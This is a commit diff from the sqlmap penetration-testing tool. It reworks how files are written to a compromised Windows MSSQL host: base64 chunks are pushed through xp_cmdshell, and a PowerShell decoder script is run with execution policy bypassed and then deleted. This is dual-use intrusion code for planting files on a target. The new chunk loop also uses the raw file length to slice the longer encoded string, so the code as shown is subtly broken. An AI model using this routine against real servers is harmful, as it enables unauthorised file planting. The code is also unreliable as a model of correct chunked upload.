@@ -169,16 +169,31 @@ def _stackedWriteFilePS(self, tmpPath, wFileContent, dFile, fileType):
169169 infoMsg += "to file '%s'" % dFile
170170 logger .info (infoMsg )
171171
172+ encodedFileContent = base64encode (wFileContent )
173+ encodedBase64File = "tmpf%s.txt" % randomStr (lowercase = True )
174+ encodedBase64FilePath = "%s\%s" % (tmpPath , encodedBase64File )
175+
172176 randPSScript = "tmpf%s.ps1" % randomStr (lowercase = True )
173177 randPSScriptPath = "%s\%s" % (tmpPath , randPSScript )
174178
175- encodedFileContent = base64encode (wFileContent )
176- psString = "$Content = [System.Convert]::FromBase64String(\" %s\" ); Set-Content -Path \" %s\" -Value $Content -Encoding Byte" % (encodedFileContent , dFile )
179+ wFileSize = len (wFileContent )
180+ chunkMaxSize = 1024
181+
182+ logger .debug ("uploading the base64-encoded file to %s, please wait.." % encodedBase64FilePath )
177183
178- logger .debug ("uploading the PowerShell script to %s, please wait.." % randPSScriptPath )
184+ for i in xrange (0 , wFileSize , chunkMaxSize ):
185+ wEncodedChunk = encodedFileContent [i :i + chunkMaxSize ]
186+ self .xpCmdshellWriteFile (wEncodedChunk , tmpPath , encodedBase64File )
187+
188+ #psString = "$Content = [System.Convert]::FromBase64String(\"%s\"); Set-Content -Path \"%s\" -Value $Content -Encoding Byte" % (encodedFileContent, dFile)
189+ psString = "$Base64 = Get-Content -Path %s; $Content = " % encodedBase64FilePath
190+ psString += "[System.Convert]::FromBase64String($Base64); Set-Content "
191+ psString += "-Path %s -Value $Content -Encoding Byte" % dFile
192+
193+ logger .debug ("uploading the PowerShell base64-decoding script to %s, please wait.." % randPSScriptPath )
179194 self .xpCmdshellWriteFile (psString , tmpPath , randPSScript )
180195
181- logger .debug ("executing the PowerShell script to write the %s file" % dFile )
196+ logger .debug ("executing the PowerShell base64-decoding script to write the %s file" % dFile )
182197
183198 commands = ("powershell -ExecutionPolicy ByPass -File \" %s\" " % randPSScriptPath ,
184199 "del /F /Q \" %s\" " % randPSScriptPath )
@@ -207,7 +222,6 @@ def _stackedWriteFileDebugExe(self, tmpPath, wFile, wFileContent, dFile, fileTyp
207222 complComm = " & " .join (command for command in commands )
208223
209224 self .execCmd (complComm )
210-
211225 else :
212226 debugMsg = "the file is larger than %d bytes. " % debugSize
213227 debugMsg += "sqlmap will split it into chunks locally, upload "
@@ -305,7 +319,7 @@ def _stackedWriteFileVbs(self, tmpPath, wFileContent, dFile, fileType):
305319 End Function""" % (randFilePath , dFile )
306320
307321 vbs = vbs .replace (" " , "" )
308- encodedFileContent = wFileContent . encode ( "base64" )[: - 1 ]
322+ encodedFileContent = base64encode ( wFileContent )
309323
310324 logger .debug ("uploading the file base64-encoded content to %s, please wait.." % randFilePath )
311325
0 commit comments